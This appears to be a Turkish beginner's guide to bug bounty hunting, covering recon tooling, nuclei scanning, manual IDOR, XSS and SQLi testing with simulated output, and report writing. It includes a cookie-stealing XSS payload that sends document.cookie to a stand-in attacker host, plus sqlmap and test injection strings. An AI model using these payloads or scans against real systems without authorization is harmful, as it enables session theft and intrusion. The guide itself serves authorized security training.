-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🐞 BUG BOUNTY 101: İLK ÖDÜLÜNÜ NASIL ALIRSIN?
Bu rehberde, daha önce SQLmap, Nmap, Metasploit ve Reverse Shell rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile bug bounty dünyasına adım atmanızı sağlayacak bir yol haritası sunuyorum. Yalnızca yetkili sistemlerde ve program kapsamında test yapın. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.
🧠 BAŞLAMADAN ÖNCE: BUG BOUNTY NEDİR?
Bug bounty, şirketlerin web sitelerinde, mobil uygulamalarında veya altyapılarında bulduğunuz güvenlik açıkları karşılığında size ödül (bounty) verdiği bir sistemdir. HackerOne, Bugcrowd ve Intigriti gibi platformlar, bu programları aracılığıyla yürütür.Ancak unutmayın: Bug bounty, bir gecede zengin olma programı değildir. Sabır, disiplin ve metodik çalışma gerektirir. İlk ödülünüzü almanız haftalar veya aylar sürebilir; bu normaldir ve pes etmemek en önemli faktördür.Neden Bug Bounty?
- 💰 Para kazanabilirsiniz – İlk ödülünüz $50 da olabilir, $10.000 da.
- 📚 Sürekli öğrenirsiniz – Her hedef yeni bir şey öğretir.
- 🌍 Topluluğun parçası olursunuz – Diğer hacker’larla bağlantı kurar, raporlarından ders alırsınız.
- 🎯 Gerçek dünya deneyimi – Lab ortamından çıkıp canlı sistemleri test edersiniz.
✅ BAŞLAMADAN ÖNCE BİLMENİZ GEREKENLER
1. 🌐 Web Temelleri
HTTP/HTTPS protokolü, istek ve yanıt yapısı, cookie'ler, session yönetimi gibi konulara hakim olmalısınız. Tarayıcı geliştirici araçlarını (F12) rahat kullanabilmelisiniz.2. 📚 OWASP Top 10
En sık karşılaşılan güvenlik açıklarını bilmelisiniz. 2025 yılı MITRE verilerine göre en yaygın zafiyet türleri şunlardır: XSS (Cross-Site Scripting) birinci sırada, SQL Injection ikinci sırada, CSRF (Cross-Site Request Forgery) üçüncü sırada yer almaktadır.| Zafiyet Türü | Açıklama | Bulma Zorluğu |
|---|---|---|
| XSS | JavaScript enjeksiyonu | Kolay / Orta |
| SQLi | Veritabanı sorgu enjeksiyonu | Kolay / Orta |
| IDOR | Yetkisiz erişim (nesne referansı) | Kolay |
| SSRF | Sunucu tarafı istek sahteciliği | Orta |
| Biz Logic | İş mantığı hataları | Orta / Zor |
3. 🛠️ Temel Araçlar
- Burp Suite Community: Web trafiğini yakalama ve değiştirme
- Nmap: Port ve servis tarama
- ffuf / gobuster: Dizin ve parametre keşfi
- curl: Hızlı istek atma ve yanıtları inceleme
🎯 1. DOĞRU HEDEFİ SEÇMEK
İlk hatanızı bulmak için hedef seçimi kritiktir. Google, Facebook gibi büyük programlar binlerce rapor alır ve rekabet çok yüksektir. Bunun yerine:- ✅ "VDP" (Vulnerability Disclosure Program) arayın – Ödülü olmayabilir ama pratik için harikadır.
- ✅ Küçük veya orta ölçekli şirketleri tercih edin.
- ✅ Kapsamı net olan programları seçin (örn. sadece *.hedef.com).
- Hacker101: HackerOne'ın ücretsiz eğitim platformu; video dersler ve CTF zorlukları ile pratik yapabilirsiniz.
- Bugcrowd: "Beginner-friendly" etiketli programları arayın.
- Intigriti: Avrupa merkezli, kaliteli programlar.
🎯 Öneri: İlk olarak bir VDP'de (örn. Yahoo veya Google'ın VDP'si) pratik yapın. Ödül alamasanız bile raporlama sürecini öğrenmiş olursunuz.
🔍 2. KEŞİF (RECONNAISSANCE) – SİLAH SANCAĞI
Keşif, başarılı bir bug bounty avının en kritik aşamasıdır. Rastgele tıklamak yerine, hedefin tüm saldırı yüzeyini haritalandırmalısınız.2.1. Pasif Keşif (Hedefe Doğrudan Temas Yok)
bash# Subdomain bulma
subfinder -d hedef.com -silent -o subfinder.txt
amass enum -passive -d hedef.com -o amass.txt
# crt.sh ile SSL sertifikalarından alt alan adı toplama
curl -s "https://crt.sh/?q=%.hedef.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > crtsh.txt
# Tüm pasif kaynakları birleştir
cat subfinder.txt amass.txt crtsh.txt | sort -u > all_subs.txt
2.2. Aktif Keşif (Hedefe Doğrudan İstek Atılır)
bash# DNS çözümlemesi ile doğrula
cat all_subs.txt | httpx -silent -title -status-code -tech-detect -o live_subs.txt
Simüle edilmiş çıktı:
text
https://www.hedef.com [200] [Hedef Anasayfa] [nginx/1.18.0]
https://api.hedef.com [200] [API Gateway] [Cloudflare]
https://admin.hedef.com [403] [Forbidden] [Apache/2.4.41]
https://dev.hedef.com [200] [Dev Portal] [nginx/1.18.0]
https://old.hedef.com [404] [Not Found] [Apache/2.2.22]
🎯 Dikkat: admin.hedef.com (403) ve old.hedef.com (404) gibi uç noktalar ilginç olabilir. 403 sayfaları bazen bilgi sızdırabilir, 404'ler ise unutulmuş eski sistemlerin habercisi olabilir.
2.3. Arşiv ve JavaScript Keşfi
bash# Wayback Machine'den eski endpoint'leri topla
gau hedef.com | tee archive_urls.txt
waybackurls hedef.com >> archive_urls.txt
# JavaScript dosyalarını çıkar ve analiz et
cat archive_urls.txt | grep "\.js" | sort -u > js_files.txt
🔬 3. ZAFİYET AVCILIĞI (VULNERABILITY HUNTING)
Artık hedefin haritasını çıkardığınıza göre, zafiyet aramaya başlayabilirsiniz.3.1. Otomatik Tarama (Dikkatli!)
bash# Nuclei ile şablon tabanlı tarama (yüksek ve kritik seviyeleri hedef al)
nuclei -l live_subs.txt -t ~/nuclei-templates/ -severity high,critical -o nuclei_results.txt
Simüle edilmiş çıktı:
text
[INFO] [http-missing-security-headers] https://www.hedef.com
[INFO] [http-exposed-git] https://dev.hedef.com/.git/config
[INFO] [cve-2021-44228] https://old.hedef.com:8080 (Apache Log4j)
🎯 Önemli: Otomatik araçların çıktılarını asla direkt raporlamayın. Her bulguyu manuel olarak doğrulayın.
3.2. Manuel Test – IDOR (En Kolay Başlangıç)
IDOR, en sık rastlanan ve en kolay bulunan zafiyet türlerinden biridir. İki test hesabı oluşturun (örneğin kullanıcı A ve kullanıcı B) ve aşağıdaki adımları izleyin.Adım 1: İstekleri Yakalayın
bash
# Burp Suite'te bir kullanıcının profilini görüntüleyen isteği yakalayın
GET /api/user/profile/12345 HTTP/1.1
Host: api.hedef.com
Authorization: Bearer user_a_token
Adım 2: ID Parametresini Değiştirin
bash
# ID'yi 12345'ten 12346'ya değiştirip Repeater ile tekrar gönderin
GET /api/user/profile/12346 HTTP/1.1
Host: api.hedef.com
Authorization: Bearer user_a_token
Simüle edilmiş yanıt:
text
HTTP/1.1 200 OK
{
"id": 12346,
"name": "Kullanıcı B",
"email": "[email protected]",
"phone": "555-123-4567"
}
🎯 Kazanım: user_a_token ile user_b'nin verilerine erişebildiniz – bu bir IDOR zafiyetidir.
3.3. Manuel Test – XSS (Kolay)
XSS, girdi alanlarında JavaScript enjeksiyonu yaparak çalışır. Arama kutuları, yorum alanları, URL parametreleri gibi yerleri test edin.Adım 1: Basit bir test payload'u gönderin
bash
curl "https://www.hedef.com/search?q=<script>alert('XSS')</script>"
Adım 2: Yanıtı inceleyin
Eğer yanıtta <script>alert('XSS')</script> aynen dönüyorsa, yansımalı XSS vardır.
Gelişmiş XSS payload'u (cookie çalma):
html
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3.4. Manuel Test – SQLi (Orta)
SQLi, veritabanı sorgularına müdahale etmeye çalışır. URL parametrelerinde ve form girdilerinde test edin.Adım 1: Basit bir test payload'u
bash
curl "https://www.hedef.com/product.php?id=1'"
Simüle edilmiş yanıt:
text
Error: You have an error in your SQL syntax; check the manual...
🎯 Zafiyet tespit edildi! sqlmap ile otomatize edebilirsiniz:
bash
sqlmap -u "https://www.hedef.com/product.php?id=1" --dbs
📝 4. RAPORLAMA – ZAFİYETİNİZİ ÖDÜLE DÖNÜŞTÜRMEK
İyi bir rapor, bulduğunuz zafiyeti net bir şekilde anlatmalı ve şirketin düzeltmesini sağlamalıdır. Raporlarınızın %60'ı kötü yazım nedeniyle reddedilmektedir.4.1. Rapor Şablonu
text# 📋 RAPOR ŞABLONU
## 🔴 Title (Başlık)
Kısa ve açıklayıcı. Örnek: "IDOR vulnerability allows viewing other users' profile data"
## 📊 Severity (Önem Derecesi)
- Critical / High / Medium / Low
## 📝 Summary (Özet)
Tek cümlede zafiyetin ne olduğu ve etkisi. Örnek: "Any authenticated user can view the profile data of any other user by changing the user_id parameter in the request."
## 🔍 Steps to Reproduce (Tekrarlama Adımları)
1. Kullanıcı A olarak oturum açın.
2. Profil sayfasına gidin ve isteği yakalayın.
3. user_id parametresini 12345'ten 12346'ya değiştirin.
4. Kullanıcı B'nin profil verilerini görüntüleyin.
## 💥 Impact (Etki)
Bu zafiyet, saldırganın diğer kullanıcıların ad, e-posta, telefon gibi hassas bilgilerine erişmesine olanak tanır.
## 🛠️ Remediation (Düzeltme Önerisi)
Sunucu tarafında, kullanıcının sadece kendi verilerine erişebileceği bir yetki kontrolü eklenmelidir.
## 📎 PoC (Proof of Concept)
İsteğin ekran görüntüsü veya raw HTTP istek/yanıtını ekleyin.
4.2. Başarılı Rapor Örneği (Gerçek Hikaye)
Bir hacker, hedef sitede güvenlik başlıklarının eksik olduğunu fark etti ve $300 ödül kazandı. İşte raporu:text
Title: Missing Security Headers on example.com
Severity: Medium
Summary: The following security headers are missing from all HTTP responses on example.com.
Steps to Reproduce:
$ curl -s -I https://example.com | grep -iE "content-security-policy|strict-transport-security|x-frame-options"
Impact:
- Missing CSP allows potential XSS exploitation
- Missing HSTS enables SSL stripping attacks on public Wi-Fi
- Missing X-Frame-Options permits clickjacking attacks
Remediation: Add Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, and X-Content-Type-Options headers.
Bu basit bulgu, hacker'ın ilk ödülünü almasını sağladı.
🧪 5. PRATİK YAPMAK İÇİN LAB ORTAMLARI
Para kazanmadan önce pratik yapmalısınız. İşte en iyi ücretsiz kaynaklar:5.1. PortSwigger Web Security Academy
- 200'den fazla lab, her biri belirli bir zafiyet türünü kapsar
- Adım adım çözüm rehberleri
- XSS, SQLi, SSRF, IDOR gibi konularda uzmanlaşmanızı sağlar
5.2. TryHackMe
- "Web Fundamentals" odası ile başlayın
- "OWASP Top 10" odası ile devam edin
- Gerçekçi senaryolar ve rehberli eğitim
5.3. Hacker101 CTF
- HackerOne'ın ücretsiz CTF platformu
- Gerçek dünya senaryoları
- Video dersler ve yazılı rehberler
🧩 6. SIK YAPILAN HATALAR
| Hata | Çözüm |
|---|---|
| Keşif yapmadan hemen test etmek | En az 1-2 saat keşif yapın. Hedefi tanımadan saldırmayın. |
| Düşük kaliteli rapor yazmak | Raporunuzu okunabilir, adım adım ve kanıtlarla destekleyin. |
| Çok erken pes etmek | İlk ödülünüzü almanız haftalar sürebilir. Pes etmeyin. |
| Otomatik araçlara güvenmek | Araçlar başlangıç noktasıdır. Her bulguyu manuel doğrulayın. |
| Hedef kapsamını okumamak | Out-of-scope alanlarda test yapmak programdan atılmanıza neden olabilir. |
| Yarışmaya odaklanmak | Ödül değil, öğrenme odaklı olun. Tecrübe kazandıkça ödüller gelecektir. |
📢 7. GERÇEK BAŞARI HİKAYESİ: İLK 48 SAATTE GEÇERLİ BUG
Bir beginner hacker, 48 saatlik sistematik bir yaklaşımla ilk geçerli hatalarını buldu. İşte yaptıkları:- 0-12 saat: Hedef seçimi, iki test hesabı oluşturma, site işlevlerini haritalandırma
- 12-36 saat: Burp Suite ile istekleri yakalama, ID'leri değiştirerek IDOR testi yapma
- 36-48 saat: Bulguları raporlama
💡 Çıkarılacak ders: Rastgele test yerine, sistematik bir metodoloji izlemek her zaman kazanır.
🔗 8. FAYDALI KAYNAKLAR
🛠️ Araçlar
- Burp Suite Community – Web proxy ve test aracı
- Nuclei – Şablon tabanlı zafiyet tarayıcı
- ffuf – Hızlı fuzzing aracı
- subfinder / amass – Subdomain keşfi
- httpx – HTTP/HTTPS servis keşfi
📚 Eğitim
- PortSwigger Web Security Academy – Ücretsiz ve kapsamlı lab'lar
- Hacker101 – HackerOne'ın ücretsiz eğitim platformu
- TryHackMe – "Web Fundamentals" ve "OWASP Top 10" odaları
🌐 Platformlar
- HackerOne – En büyük bug bounty platformu
- Bugcrowd – Geniş program yelpazesi
- Intigriti – Avrupa merkezli, kaliteli programlar
🔚;
Artık bug bounty dünyasına adım atmak için ihtiyacınız olan tüm bilgilere sahipsiniz. Doğru hedef seçimi, sistematik keşif, metodik test ve kaliteli raporlama ile ilk ödülünüzü almanız an meselesidir.💪 Unutmayın: Her büyük hacker, ilk hatasını küçük bir programda buldu. Sabırlı olun, öğrenmeye devam edin ve pes etmeyin. İlk ödülünüzü aldığınızda, o hissi asla unutmayacaksınız.
Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz sistem testi yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.
@Tc4dy | github.com/tc4dy
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl